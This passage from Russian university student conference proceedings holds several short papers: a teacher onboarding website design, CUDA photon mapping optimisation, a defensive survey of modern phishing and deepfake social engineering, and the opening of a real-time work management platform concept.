стовые запросы через естественный язык и интерактивные меню. 

Далее представлен пример обращения пользователя к боту (рисунок 2). 

 
Рисунок 2 – Обращение пользователя к боту 

В соответствии с поставленной целью было получено решение задачи о разра-
ботке чат-бота для систематизации информации о льготах. В ходе данной разработки 
чат-бота для участников СВО была продемонстрирована эффективность применения 
современных цифровых решений в сфере социального обеспечения. Получен опыт ра-
боты с данными технологиями и выяснены их возможности. Реализованный прототип 
чат-бота предоставляет участникам СВО единый механизм доступа к систематизиро-
ванной информации о льготах. Использование языка Python и фреймворка aiogram поз-
волило создать гибкую и масштабируемую систему, которая сочетает интуитивно по-
нятный интерфейс с мощной функциональностью.  
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ОНБОРДИНГ ДЛЯ ПРЕПОДОВАТЕЛЕЙ  
 
ONBOARDING FOR TEACHERS 
 
Аннотация. Данное исследование посвящено проектированию процесса онбординга 
преподавателей с акцентом на разработку структуры информационной системы адапта-
ции. Особое внимание уделяется созданию интеллект-карты, которая систематизирует 
ресурсы и информационные потоки, а также прототипу сайта, разработанному в Figma, 
для обеспечения удобной навигации и доступа к материалам. Рассматриваются подхо-
ды, способствующие снижению стресса от информационной перегрузки, формирова-
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нию положительного первого впечатления и повышению мотивации преподавателей в 
образовательной среде. 
Abstract. This study focuses on designing the onboarding process for teachers, emphasizing 
the development of an information system structure for adaptation. Special attention is given 
to creating a mind map that organizes resources and information flows, as well as a website 
prototype developed in Figma to ensure convenient navigation and access to materials. The 
approaches analyzed aim to reduce stress from information overload, foster a positive first 
impression, and enhance teachers' motivation within the educational environment. 
Ключевые слова: онбординг, адаптация преподавателей, интеллект-карта, прототип 
сайта, информационные потоки, мотивация, образовательная среда. 
Key words: onboarding, teacher adaptation, mind map, website prototype, information flows, 
motivation, educational environment. 

 
Онбординг преподавателей играет ключевую роль в их успешной интеграции в 

образовательную среду, обеспечивая быстрое освоение информационных ресурсов и 
рабочих процессов. Проектирование этого процесса направлено на создание структу-
рированной системы адаптации, которая помогает преподавателям эффективно ориен-
тироваться в сложных информационных потоках, минимизировать стресс и уверенно 
включиться в профессиональную деятельность. Эффективный онбординг также спо-
собствует формированию положительного первого впечатления и укреплению мотива-
ции, что делает его важным элементом образовательной организации. В рамках данно-
го исследования процесс онбординга проектируется с использованием интеллект-
карты, которая представляет собой графическую структуру будущего сайта. Этот ин-
струмент позволяет систематизировать ресурсы, упростить навигацию и наглядно 
отобразить связи между элементами системы. Дополнением к интеллект-карте служит 
прототип сайта, разработанный в Figma, который воплощает предложенную структуру 
в удобный и функциональный интерфейс. Такой подход обеспечивает преподавателям 
оперативный доступ к необходимым материалам и повышает их продуктивность, что 
особенно важно в условиях высокой информационной нагрузки. 

Процесс онбординга преподавателей через веб-сайт часто сопровождается рядом 
трудностей, которые могут затруднить их адаптацию к образовательной среде [1]. На ос-
нове анализа литературы и практического опыта можно выделить следующие ключевые 
проблемы: 

- Сложности с навигацией. Преподаватели, особенно новички, могут испытывать 
затруднения при поиске нужных разделов сайта, таких как учебные материалы, админи-
стративные формы или инструкции по использованию системы [2]. 

- Информационная перегрузка. Большой объем данных, представленных без чет-
кой структуры, вызывает растерянность и стресс, что снижает эффективность освоения 
ресурсов [1]. 

- Отсутствие связи с задачами. Если сайт не демонстрирует, как его использова-
ние помогает в профессиональной деятельности, это может ослабить мотивацию пре-
подавателей [3]. 

Эти проблемы подчеркивают необходимость разработки структурированного и 
удобного сайта, который минимизирует стресс и ускоряет процесс адаптации [3]. 

Первым этапом проектирования онбординга стало создание интеллект-карты, 
которая выступает инструментом для визуализации и структурирования информации 
[2]. Этот подход основан на принципах, описанных в литературе по дизайну интерфей-
сов, где подчеркивается способность интеллект-карт упрощать сложные системы за 
счет наглядного представления связей между элементами [3]. 

В контексте онбординга преподавателей, интеллект-карта была применена для: 
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- Определения ключевых разделов сайта, таких как «Учебная деятельность», 
«Учебно-методическая деятельность», «Социальная сфера», «Университет», «Наука и 
инновация», «Документы» и «Трудоустройство». 

- Выявления потенциальных пробелов в структуре, что позволяет заранее устра-
нить недочеты [1]. 

Преимущества использования интеллект-карты включают ее наглядность, воз-
можность гибкого дополнения новыми элементами и упрощение навигации для пользо-
вателей [1].  

Рисунок 1 демонстрирует пример такой интеллект-карты, разработанной для ре-
сурсов университета. 

 
Рисунок 1 – Интеллект-карта ресурсов КнАГУ 

На основе структуры, созданной с помощью интеллект-карты, был разработан 
прототип сайта в Figma – инструменте, широко используемом для проектирования ин-
терактивных интерфейсов [4]. Прототип представляет собой практическую реализацию 
предложенной структуры, позволяя протестировать удобство использования и внести 
корректировки до финальной разработки [2]. 

Прототип включает следующие элементы: 
- Главную страницу с приветственным баннером, который содержит обращение 

к преподавателям и подчеркивает миссию университета - создание комфортной среды 
для работы и обучения [1]. 

- Навигационное меню в верхней части страницы, содержащее разделы «Глав-
ная», «Учебная деятельность», «Учебно-методическая деятельность», «Социальная 
сфера», «Об университете» и «Наука и инновации». Это обеспечивает быстрый доступ 
к ключевым категориям информации, необходимым для онбординга [4]. 

- Основные разделы на главной странице, представленные в виде карточек. 
Например, блок «Учебная деятельность» включает иллюстрацию преподавателя у дос-
ки, что визуально связывает раздел с образовательной тематикой, а также ссылки на 
«Личный кабинет», «Расписание», «Центр ДО», «Дополнительное образование», «Об-
разовательные ресурсы». Такая структура позволяет преподавателям оперативно нахо-
дить нужные материалы [4]. 

- Визуальные элементы, такие как иллюстрации в блоках, которые усиливают те-
матическую направленность разделов и делают интерфейс более привлекательным [3]. 

Создание прототипа в Figma дает возможность визуализировать, как будет вы-
глядеть сайт, еще до начала полноценной разработки, что позволяет заранее оценить 
его структуру и удобство [3]. Такой подход помогает выявить потенциальные пробле-
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мы на ранних этапах, например, неудобное расположение карточек или недостаточную 
читаемость текста, и устранить их до перехода к программированию [2]. Кроме того, 
прототип служит ориентиром для разработчиков, обеспечивая единое видение дизайна 
и функциональности сайта [1].  

Рисунок 2 иллюстрирует пример прототипа, разработанного для онбординга 
преподавателей. 

 
Рисунок 2 – Прототип онбординга 

Для реализации сайта онбординга преподавателей был выбран стек технологий 
MEVN, который включает MongoDB, Express.js, Vue.js и Node.js. Этот выбор обуслов-
лен гибкостью и эффективностью данного стека при разработке современных веб-
приложений [1]. 

MongoDB используется в качестве базы данных для хранения информации. Эта 
NoSQL-база данных позволяет легко масштабировать проект и работать с большими 
объемами данных, что особенно важно для образовательных платформ [4]. 

Express.js выступает в роли серверного фреймворка, обеспечивая создание API 
для взаимодействия между фронтендом и базой данных. Он упрощает обработку запро-
сов и маршрутизацию, что ускоряет разработку серверной части [4]. 

Vue.js применяется для создания интерактивного пользовательского интерфейса. 
Этот фреймворк позволяет реализовать динамические элементы, такие как карточки раз-
делов и навигационное меню, обеспечивая плавное взаимодействие с пользователем [4]. 

Node.js используется как серверная среда выполнения, позволяя запускать 
JavaScript на стороне сервера. Это обеспечивает высокую производительность и едино-
образие кода на фронтенде и бэкенде [2]. Применение стека MEVN позволяет создать 
масштабируемый и производительный сайт, который способен эффективно поддержи-
вать процесс онбординга преподавателей [4]. Такой подход также упрощает дальней-
шую поддержку и обновление системы, что важно для долгосрочного использования в 
образовательной среде [3]. 

В результате проведенного исследования был разработан процесс проектирова-
ния онбординга преподавателей с использованием современных инструментов и техно-
логий. Применение интеллект-карты позволило структурировать информационные по-
токи и создать наглядную основу для будущего сайта, упрощающую навигацию и до-
ступ к ресурсам. Разработка прототипа в Figma обеспечила визуализацию интерфейса, 
что дало возможность выявить потенциальные проблемы на ранних этапах и подгото-
вить удобный дизайн, соответствующий потребностям преподавателей. Выбор стека 
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технологий MEVN для реализации сайта онбординга обоснован его гибкостью, произ-
водительностью и способностью поддерживать масштабируемые образовательные 
платформы. Разработанный процесс онбординга может быть адаптирован и для других 
категорий пользователей, таких как студенты, а также дополнен интерактивными эле-
ментами, например, видеоруководствами или всплывающими подсказками, что откры-
вает перспективы для дальнейших исследований и улучшений. 
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АЛГОРИТМИЧЕСКИЕ И АРХИТЕКТУРНЫЕ АСПЕКТЫ ОПТИМИЗАЦИИ 
PHOTON MAPPING НА CUDA 
 
ALGORITHMIC AND ARCHITECTURAL ASPECTS OF PHOTON MAPPING  
OPTIMIZATION ON CUDA 
 
Аннотация. В статье рассматривается оптимизация алгоритма photon mapping на архи-
тектуре CUDA с целью повышения производительности при рендеринге сложных све-
товых явлений, таких как каустики, отражения и преломления. В работе исследуются 
методы эффективного использования глобальной памяти, минимизации вычислитель-
ных накладных расходов и оптимизации работы с потоками. Применение подходов к 
улучшению организации памяти и синхронизации потоков показало увеличение скоро-
сти работы алгоритма, что делает его подходящим для использования в реальных при-
ложениях, таких как системы рендеринга. Также внимание уделяется интеграции с 
OpenGL для вывода результатов рендеринга на экран. 
Abstract. The paper discusses the optimization of the photon mapping algorithm on the 
CUDA architecture aimed at improving performance in rendering complex light phenomena 
such as caustics, reflections, and refractions. The work explores methods for efficient use of 
global memory, minimizing computational overhead, and optimizing thread synchronization. 
The application of memory organization and thread synchronization improvements led to an 
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increase in algorithm speed, making it suitable for use in real-world applications such as ren-
dering systems. Special attention is also given to the integration with OpenGL for displaying 
the rendering results on the screen. 
Ключевые слова: трассировка фотонов, cuda, рендеринг, opengl, оптимизация 
Key words: photon tracing, cuda, rendering, opengl, optimization 
 

Алгоритм photon mapping является одним из классических методов симуляции 
глобального освещения и активно применяется в системах рендеринга благодаря своей 
способности достоверно моделировать сложные световые явления, включая каустики, 
отражения и преломления. Несмотря на широкое исследование и развитие этого мето-
да, большинство существующих реализаций ориентированы на использование цен-
трального процессора (CPU) или ограничены предопределенными в коде параметрами 
трассировщика. В дополнение, многие из этих реализаций не в полной мере использу-
ют возможности атомарных операций и интеграцию с графическими API, такими как 
OpenGL, а также фокусируются только на общих принципах работы алгоритма без 
углубленных оптимизаций. 

Целью данной работы является оптимизация алгоритма photon mapping на 
CUDA с фокусом на эффективную работу с памятью и минимизацию вычислительных 
накладных расходов. Работа направлена на исследование методов ускорения обработки 
фотонов и отслеживания лучей с использованием архитектуры GPU, а также на приме-
нение различных техник оптимизации для повышения производительности в реальных 
приложениях. 

Основным типом данных, используемым при реализации алгоритмов трассиров-
ки лучей и трассировки фотонов, является трехкомпонентный вектор с плавающей точ-
кой, далее обозначаемый как vec3. 

С типом данных vec3 возможны три варианта взаимодействия: вызов математи-
ческих функций или операций, обращение к полям по имени (x, y или z) и обращение к 
элементу по индексу. Чтобы сохранить удобную работу с именными полями и эффек-
тивный доступ к элементам по индексу без функции-обертки с парой условных опера-
торов, было использовано анонимное объединение (union) трехэлементного массива и 
анонимной структуры, содержащей именные поля. В некоторых случаях при работе с 
CUDA для увеличения скорости выполнения операций требуется выравнивание данных 
– объем выделяемой памяти должен быть равен 2, 4, 8 или 16 байтам. Особенно это 
важно, если данные находятся в разделяемой памяти, поскольку выравнивание помога-
ет избежать конфликтов между банками памяти. Самым простым вариантом решения 
проблемы является добавление неиспользуемого 4-х байтового элемента, однако с мо-
мента появления поддержки C++11 в компиляторе NVCC появилась возможность вы-
равнивать структуры данных с помощью спецификатора alignas, что позволяет не заму-
соривать код. 

В операторах и методах класса vec3 для сложения и вычитания используются 
встроенные функции (intrinsics) __fadd_rz и __fsub_rz соответственно, для сложения и 
деления — __fmul_rz и __fdiv_rz, для вычисления корня — __fsqrt_rz. Для вычисления 
скалярного произведения комбинируются вызовы __fmul_rz и __fmaf_ieee_rz. Послед-
няя функция принимает три аргумента и вычисляет сумму между третьим аргументом 
и произведением первых двух за один цикл вычисления, что позволяет снизить количе-
ство операций [1]. Буквы rz в окончании всех инструкций означают, что при округле-
нии непомещающихся разрядов они будут обнулены — это позволяет не накапливать 
ошибку вычислений. Также для оптимизации некоторые методы помечены специфика-
тором constexpr. Для большинства функций, принимающих два экземпляра vec3, суще-
ствуют аналогичные по функционалу методы, которые меняют исходные данные, а не 
возвращают новый экземпляр. 
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Хранение всех глобальных параметров, которые могут быть изменены на хосте, 
но остаются неизменными во время работы ядра, осуществлено в константной памяти 
видеокарты. Эта память ограничивается малым объемом и требованием возможности 
определения размера выделяемой памяти на этапе компиляции [1]. Например, на ви-
деокарте NVIDIA GeForce 1660 GTX под этот тип памяти выделено около 64 кб. Гло-
бальные параметры же представляют собой данные небольшого фиксированного объе-
ма, что делает их подходящими для размещения в константной памяти. Чтобы исполь-
зовать одну и ту же константу в нескольких файлах, ее надо объявить со спецификато-
ром extern. Поддержка такой схемы в CUDA доступна при установленном флаге ком-
пиляции rdc=true. 

Перед трассировкой фотонов обычно рекомендуют построить таблицу углов 
преломления из всех возможных сред во все возможные среды. В этой работе все сцены 
читаются из obj и сопутствующих им mtl файлов. Индексы преломления берутся из 
свойств материалов, указанных в mtl. Т.к. в cuda нет нативных словарей, была реализо-
вана хеш-таблица, поддерживающая атомарную вставку и неблокирующее чтение. 
Атомарность вставки почти не влияет на производительность, т.к. таблица просчитыва-
ется один раз перед началом цикла трассировки. К тому же, как правило, уникальных 
сред в сценах не так много. Тем не менее, узнать количество уникальных сред на этапе 
компиляции не представляется возможным, поэтому хэш-таблица помещена в глобаль-
ную память. При поиске хэш функция задействует побитовые операции и пару умно-
жений, что гораздо быстрее, чем непосредственно во время трассировки фотонов каж-
дым потоком при каждом соприкосновении фотона с поверхность для вычисления уг-
лов считать результат деления, косинуса и арксинуса. Атомарность вставки обеспечена 
использованием функции atomicCAS.  

В некоторых частях кода в виду специфики синхронизации потоков CUDA части 
одного общего алгоритма были разделены на несколько последовательных вызовов 
ядер. Например, данный подход был применен при заполнении структуры kd-tree [2]. 
Каждый вызов ядра влечет за собой накладные расходы. Для решения этой проблемы 
существует механизм CUDA graphs, который позволяет единожды запланировать вы-
полнение последовательности ядер, сохранить результат в переменную, а после сколь-
ко угодно раз вызывать на выполнение [3]. При этой схеме накладные расходы значи-
тельно уменьшаются. Дополнительным преимуществом является возможность добав-
ления в граф команд копирования данных и вызов функций, выполняющихся на CPU, 
однако в этой работе данный функционал не использовался. 

Основной цикл трассировки луча — цикл while, который выполняется либо пока 
у текущего луча не достигнуто максимальное количество отражений и/или преломле-
ний, либо пока планировщик лучей содержит необходимые для обработки лучи. В дан-
ной реализации присутствует возможность многоуровневых внутренних отражений и 
преломлений. Пусть максимальное отражений и преломлений для луча равна n. Тогда 
для корректной обработки внутренних отражений и преломлений планировщику необ-
ходимо иметь стек, содержащий последние n / 2 индексов преломлений сред и иденти-
фикаторов объектов, через который прошел луч. При этом, т.к. разветвление путей луча 
может начаться уже на первой итерации, ранее упомянутый стек должен содержаться в 
стеке размера n. Т.е. внешний стек необходим для учета расхождений, а внутренний — 
для хранения сред, т.к. у луча есть вероятность выйти из какой-то среды наружу, а в 
этом случае необходимо получить предыдущий индекс преломления. Память выделяет-
ся заранее под самый худший случай, когда на каждом шаге луч расходится и попадает 
в новую среду.  

Для обеспечения более эффективного доступа к глобальной памяти некоторые 
массивы структур, такие как массивы вершин, были преобразованы в структуру масси-
вов или просто разделены на несколько отдельных массивов. Например, при поиске пе-



203 

ресечений необходимо проанализировать множество вершин, при этом нормаль в бли-
жайшей точке пересечения извлекается лишь один раз. Изначально использовался мас-
сив структур с тремя полями: позиция, нормаль и текстурные координаты. Однако 
большую часть времени нормаль и текстурные координаты лишь занимали кэш при 
чтении вершин, поэтому в результате массив структур был заменен на три отдельных 
массива. В CUDA потоки разбиты на варпы – группы по 32 элемента. В один момент 
времени выполняется одинаковая для всех потоков варпа инструкция (эта модель назы-
вается SIMT — Single Instruction, Multiple Threads) [1]. По этой причине может возни-
кать дивергенция, когда, например, часть потоков варпа должны обработать одну ветку 
условного оператора, а часть — другую. В этом случае CUDA обрабатывает обе ветви 
последовательно. Реализованный трассировщик способен обрабатывать треугольные и 
четырехугольные плоские примитивы, при этом у разных объектов типы примитивов 
могут отличаться. В первой версии функции проверки пересечения луча с объектом в 
зависимости от типа (с проверкой в операторе if) в цикле либо вызывалась одна функ-
ция поиска пересечения луча и треугольника, либо две — по разбиению четырехуголь-
ника на два треугольника. В этом случае в рамках одного варпа при дивергенции воз-
можно ожидание трех вызовов вместо одного или двух, поэтому данный подход был 
заменен на единоразовый вызов с парой дополнительных переменных и более сложной 
логикой вычисления индексов следующего примитива. Также, для снижения диверген-
ции потоков и повышения эффективности кэширования была выбрана двумерная кон-
фигурация блоков размером 16×16 потоков, соответствующая сегментам изображения 
такого же размера. Выделение памяти под массив пикселей осуществляется через 
OpenGL, после чего CUDA получает указатель на данные, блокирует к нему доступ и 
заполняет его во время выполнения ядра. По завершению работы ядра, изображение 
выводится на экран через OpenGL. 

В ходе работы был проведен процесс оптимизации алгоритма photon mapping на 
архитектуре CUDA. Основное внимание было уделено улучшению работы с памятью, 
устранению дивергенций и кешированию элементов, что позволило значительно повы-
сить производительность алгоритма. Использование атомарных операций позволило 
реализовать хэш-таблицу для записи и поиска заранее просчитанных данных, что уско-
рило этап трассировки фотонов. Также была внедрена технология CUDA graphs для 
уменьшения накладных расходов на вызовы ядер, что обеспечило более высокую сте-
пень параллелизма и эффективность вычислений. 
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ФИШИНГ 2.0: СОВРЕМЕННЫЕ ТЕХНИКИ И МЕРЫ ПРОТИВОДЕЙСТВИЯ 
 
PHISHING 2.0: MODERN TECHNIQUES AND COUNTERMEASURES 
 
Аннотация. В данной статье рассматриваются актуальные методы фишинга, включая 
атаки через социальные сети и мобильные приложения, а также использование техно-
логий deepfake для манипулирования пользователями. Особое внимание уделяется но-
вым угрозам, таким как создание синтетического контента для социальной инженерии 
и применение поддельных интерфейсов в приложениях. В качестве средств защиты об-
суждаются многофакторная аутентификация, системы на основе искусственного интел-
лекта для обнаружения deepfake и образовательные программы для повышения уровня 
киберграмотности пользователей. 
Abstract. This article examines current phishing techniques, including attacks via social net-
works and mobile applications, as well as the use of deepfake technologies to manipulate us-
ers. Particular attention is paid to new threats, such as the creation of synthetic content for so-
cial engineering and the use of fake interfaces in applications. Multi-factor authentication, ar-
tificial intelligence-based systems for detecting deepfakes, and educational programs to im-
prove the level of cyber literacy of users are discussed as means of protection. 
Ключевые слова: фишинг 2.0, spear phishing, deepfake, социальные сети, мобильные 
приложения, анти-фишинг, многофакторная аутентификация, защита данных, социаль-
ная инженерия, кибербезопасность. 
Keywords: phishing 2.0, spear phishing, deepfake, social networks, mobile applications, anti-
phishing, multi-factor authentication, data protection, social engineering, cybersecurity. 
 

Исследование посвящено анализу современных фишинговых атак, известных 
как фишинг 2.0, которые представляют собой растущую угрозу в условиях цифровиза-
ции. В отличие от традиционных методов фишинга, фишинг 2.0 использует более 
сложные технологии и подходы, используют более сложные технологии и подходы, 
такие как таргетированные атаки с применением технологии deepfake, через социаль-
ные сети и мобильные приложения, что значительно увеличивает вероятность успеш-
ной кражи данных. Злоумышленники применяют эти новые технологии для создания 
фальшивых изображений, видео и аудио, что делает атаки более правдоподобными и 
трудными для распознавания. В условиях активного использования цифровых плат-
форм и мобильных устройств такие угрозы становятся особенно опасными. Традици-
онные методы защиты, такие как антивирусные программы и анти-фишинговые филь-
тры, не всегда могут эффективно справиться с новыми техниками фишинга 2.0, что 
требует разработки более комплексных и современных решений. 

Цель работы – выявить ключевые методы фишинга 2.0, оценить их риски и 
предложить стратегии противодействия. В рамках исследования будет проведен анализ 
использования новых технологий, таких как искусственный интеллект, а также рас-
смотрены способы таргетированных атак через социальные сети и мессенджеры. Осо-
бое внимание будет уделено уязвимостям современных платформ и мобильных прило-
жений, которые злоумышленники активно используют для проведения атак. Работа 
также направлена на исследование психоэмоциональных аспектов фишинга 2.0, таких 
как манипуляции с доверием пользователей. В результате исследования будут предло-
жены стратегии защиты, включающие как технологические меры, такие как улучшение 
систем машинного обучения для распознавания угроз, так и образовательные програм-
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мы для повышения цифровой грамотности пользователей и повышения их осведомлен-
ности о новых видах фишинга. 

Один из новых способ применимый фишерами – это целевой фишинг, то есть 
направленный напрямую на объект махинации через личные связи: коллег, членов се-
мьи, личную информацию такую, например, как за должности или через притворства 
сотрудниками федеральных структур. Всё это осуществляется через звонки, мессен-
джеры, почту и SMS. И вроде бы данный метод существовал и ранее, однако он обза-
вёлся новой модификацией через технологии искусственного интеллекта.  

Благодаря им злоумышленник может, создавать ложные правдоподобные акка-
унты друзей, коллег, создавать аудио и видео сообщения с голосами и лицами тех, кого 
знаете, и даже копировать манеру общение собеседника в аудио и текстовом формате. 
Способ защиты от данного мошенничества сто процентных на данный момент нету, 
можно лишь себя безопасность лишней осторожностью, например, спросить напрямую 
коллегу о его сообщение, то есть в личные встречи не через сеть. Звонок может тоже 
подойти, однако если имеет место быть комбинированная атака, которая включает в 
себе несколько подходов, для кражи данных, злоумышленник может перехватить сиг-
нал и провернуть аферу без проблем, так что этот способ защиты непрям надёжный. 
Злоумышленники исследуют профили жертв на таких платформах, как «Вконтакте», 
«Telegram» и других, чтобы узнать их профессию, интересы, коллег и личные связи. 
Это позволяет им отправить ложное сообщение, которое выглядит как официальное 
обращение от знакомого человека или организации. Например, преступники могут от-
править сообщения от коллеги или начальства с просьбой выполнить срочные дей-
ствия, такие как перевести деньги, предоставить доступ к важным сведениям, перейти 
по вредоносной ссылке или скачать файл. Согласно отчёту компании «F.A.C.C.T.», в 
2023 году киберугрозы в России продолжили эволюционировать, и программ-
вымогатели остались основной угрозой для бизнеса. В этом году количество атак с ис-
пользованием шифровальщиков с целью получения выкупа увеличилось на 160 %, а 
рекорд по запрашиваемым суммам составил 321 млн рублей. Также остаются актуаль-
ными утечки данных, с которыми сталкиваются компании, а фишинг остаётся одним из 
самых распространённых методов атак. В 2023 году было выявлено более 29221 фи-
шинговых доменов, что свидетельствует о росте этого вида угроз. Эти данные под-
тверждают увеличившуюся целенаправленность атак на различные слои пользователей 
и организаций в России [1]. Для защиты от таких угроз фирмы используют системы 
защиты от утечек информации, таких как «Avast internet security» и проводить регуляр-
ные оповещения сотрудников для повышения осведомленности о фишинговых атак. 
Злоумышленники маскируются под известные компании, банки или даже друзей и кол-
лег, отправляя фальшивые уведомления о подозрительных действиях на счетах или 
просьбы подтвердить данные. В 2020 году несколько пользователей «WhatsApp» стали 
жертвами фишинговой атаки, когда им приходили сообщения от «банков» о подозри-
тельных транзакциях, которые содержали ссылку на поддельную страницу для ввода 
личных данных. Защита от фишинга через мессенджеры включает использование анти-
вирусных программ с анти-фишинговыми фильтрами и обучение населения о рисках 
перехода по подозрительным ссылкам [2]. Фальшивые уведомления о новых версиях 
программного обеспечения (ПО), таких как обновления антивирусов, браузеров или 
операционных систем, остаются одним из самых распространённых методов взлома. 
Эти уведомления маскируются под официальные обновления, заставляя пользователей 
скачивать вредоносное ПО. В 2017 году произошёл случай массового заражения, когда 
пользователи «Windows» скачивали поддельные патчи безопасности, содержащие ви-
русы, крадущие личные данные. Чтобы предотвратить такие атаки, обновления следует 
загружать только через официальные каналы, а системы должны иметь встроенную за-
щиту от фишинга и вредоносных программ [3]. Подытожим известные способы защиты 
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от мошенников и усиливающихся киберугроз. Один из важнейших методов – повыше-
ние осведомлённости пользователей. Эффективным инструментом является использо-
вание анти-фишинговых расширений в почтовых клиентах и браузерах, которые могут 
автоматически блокировать подозрительные письма и сайты. Двухфакторная аутенти-
фикация также остаётся одним из ключевых способов борьбы с мошенниками. Даже 
если злоумышленники получат доступ к паролю, им будет трудно войти в аккаунт без 
второго этапа аутентификации, что значительно снижает вероятность успешной атаки. 
Для обеспечения кибербезопасности в условиях современных угроз важна реализация 
многоуровневой стратегии защиты. Важно обратить внимание на криптографические 
методы, такие как шифрование данных при их передаче, а также на использование 
частных сетей. Это значительно снижает риски утечек информации и вторжений в кор-
поративные системы. Параллельно необходима регулярная проверка и обновление про-
граммного обеспечения, включая операционные системы, антивирусные модули и при-
кладные программы. Это позволит устранить уязвимости, которые активно использу-
ются в фишинговых атаках. Увеличение угроз, связанных с развитием генеративного 
искусственного интеллекта и технологий deepfake, требует особого внимания и актив-
ных мер. Для борьбы с такими угрозами важно развивать системы мониторинга и рас-
познавания фальшивых изображений и видео. Помимо технических решений, особое 
значение имеет непрерывное обучение сотрудников, проведение тренингов по проти-
водействию социальной инженерии и регулярные проверки надежности источников 
информации. Навыки проверки достоверности источников становятся критически важ-
ными для защиты от фишинговых и других видов атак.  

Фишинг 2.0 представляет собой эволюцию традиционных методов мошенниче-
ства, которые используют новые технологии, такие как искусственный интеллект, 
deepfake и направленные атаки через социальные сети. Эти методы делают атаки более 
персонализированными и сложными для обнаружения, что требует новых подходов к 
защите данных и усовершенствования существующих технологий защиты. В ходе ис-
следования была проанализирована эволюция методов фишинга, и показано, что новые 
подходы, такие как использование deepfake и анализа личных данных жертв, значи-
тельно повышают эффективность атак. Было выявлено, что традиционные антивирус-
ные системы и однофакторная аутентификация не могут обеспечить должную защиту 
от таких угроз. Авторами было предложено внедрение многофакторной аутентифика-
ции, а также использование AI-фильтров и поведенческого анализа для повышения 
уровня безопасности. 

 
СПИСОК ИСТОЧНИКОВ 
1. Вымогатели, утечки, фишинг: эксперты F.A.C.C.T. назвали основные киберу-

грозы 2023 года // SecurityMedia.org : информационно-аналитический портал. – Раздел 
сайта «Киберугрозы». – URL: https://securitymedia.org/news/vymogateli-utechki-fishing-
eksperty-f-a-c-c-t-nazvali-osnovnye-kiberugrozy-2023-goda.html (дата обращения: 
02.04.2025). 

2. Фишинговые атаки на организации в 2022-2023 гг. // PT Security : аналитиче-
ский портал. – Раздел сайта «Исследования и аналитика». – URL: 
https://www.ptsecurity.com/ru-ru/research/analytics/phishing-attacks-on-organizations-in-
2022-2023/ (дата обращения: 02.04.2025). 

3. Фишинг: что это такое и как защититься // TAdviser.ru : справочно-
информационный портал. – Раздел сайта «Киберугрозы и защита». – URL: 
https://www.tadviser.ru/a/186218 (дата обращения: 02.04.2025). 

 
  



207 

УДК 004.4 
Демидов Эдуард Даниилович, студент, Комсомольский-на-Амуре государственный 
университет 
Demidov Eduard Daniilovich, student, Komsomolsk-na-Amure State University 
Котляров Валерий Петрович, кандидат технических наук, доцент, доцент кафедры 
«Проектирование, управление и разработка информационных систем», Комсомоль-
ский-на-Амуре государственный университет 
Kotlyarov Valery Petrovich, Candidate of Engineering Sciences, Associate Professor, Associ-
ate Professor of the Department «Design, Management and Development of Information Sys-
tems», Komsomolsk-na-Amure State University  

 
КОНЦЕПЦИЯ ИНТЕЛЛЕКТУАЛЬНОЙ ПЛАТФОРМЫ УПРАВЛЕНИЯ  
РАБОТАМИ В РЕЖИМЕ РЕАЛЬНОГО ВРЕМЕНИ 
 
THE CONCEPT OF AN INTELLIGENT REAL-TIME WORK MANAGEMENT 
PLATFORM 

 
Аннотация. В статье рассматривается концепция цифровой платформы для управления 
работами в режиме реального времени, ориентированной на поддержку технологиче-
ских процессов. Платформа предлагает функционал для планирования, управления за-
дачами, визуализации их статуса на карте, а также аналитики и отчётности. Среди клю-
чевых возможностей — фильтрация задач, интеграция с картографическими сервисами, 
интеллектуальные рекомендации и использование нейронных сетей для прогнозирова-
ния сроков, корректировки формулировок и определения приоритетов. Платформа спо-
собствует оптимизации маршрутов, снижению затрат времени и ресурсов, а также 
улучшению взаимодействия между сотрудниками. 
Abstract. The article discusses the concept of a digital platform for real-time work manage-
ment, focused on supporting technological processes. The platform offers functionality for 
planning, managing tasks, visualizing their status on the map, as well as analytics and report-
ing. Key features include task filtering, integration with mapping services, intelligent recom-
mendations, and the use of neural networks to predict deadlines, adjust formulations, and de-
termine priorities. The platform helps to optimize routes, reduce time and resource costs, and 
improve employee interaction. 
Ключевые слова: платформа, методы, управление, технологии, концепт, методология. 
Keywords: platform, methods, management, technologies, concept, methodology. 

 
Современные производственные работы реализуются в условиях, где расстоя-

ние, сложные среды и человеческий фактор становятся критическими вызовами. 
Управление такими работами требует не просто скорости, а синхронизации данных, 
решений и действий в режиме реального времени. Однако традиционные подходы, ос-
нованные на ручном сборе информации, устарели [1]. Глобальный тренд на децентра-
лизацию лишь усугубили проблему. Удаленные команды, разрозненные объекты и 
необходимость минимизировать физическое присутствие заставили бизнес искать ин-
струменты, которые превращают «слепые зоны» в прозрачные процессы. Именно здесь 
на первый план выходят цифровые платформы управления работами — системы, кото-
рые не просто собирают данные, но и превращают их в управленческие решения, со-
кращая разрыв между проблемой и её решением до нескольких секунд. 
  



208 

Для отраслей, где проекты реализуются в «полевых» условиях — строительство, 
энергетика, логистика, добыча полезных ископаемых — платформа становится цифро-
вым «дирижером». Платформа объединяет mes-системы, геопространственные техно-
логии и аналитику, видео -фоторяд, создавая единое окно для контроля над тысячами 
параметров: от расхода материалов до результатов выполненных работ. 

Рассмотрим концепцию разрабатываемой интеллектуальной платформы управ-
ления работами в режиме реального времени. 

Современные платформы управления работами, не просто автоматизируют про-
цессы — они становятся гибкими экосистемами, объединяющими лучшие практики 
управления проектами, производственные системы и agile-подходы. Интегрируем в 
концепцию интеллектуальной платформы методологий PRINCE2, Kanban и MES-
системы, которые можно применить для обеспечения прозрачности, контроля и адап-
тивность. 

PRINCE2 (Projects IN Controlled Environments) — это структурированная мето-
дология, ориентированная на разделение проекта на этапы, управление рисками и чет-
кое распределение ролей [2].  При этом все решения и изменения фиксируются в жур-
нале, обеспечивая прозрачность, которую требует PRINCE2. 

Kanban — это agile-подход, который фокусируется на визуализации задач, огра-
ничении Work in Progress (WIP) и непрерывном улучшении [2].  

При этом алгоритмы выявляют узкие места: например, регулярные задержки из-
за нехватки бетона запускают процесс автоматического пополнения запасов, следуя 
принципам непрерывного улучшения. 

MES (Manufacturing Execution System) — системы управления производствен-
ными процессами, которые в контексте удаленных работ адаптируются для контроля 
физических активов, материалов и оборудования. Интеграция MES в платформу позво-
ляет: 

1) отслеживать ресурсы; 
2) отслеживание процессов. 
Интеграция PRINCE2, Kanban и MES в IPM создаёт уникальный симбиоз, где 

стратегическая жёсткость сочетается с оперативной гибкостью. Например, на этапе мо-
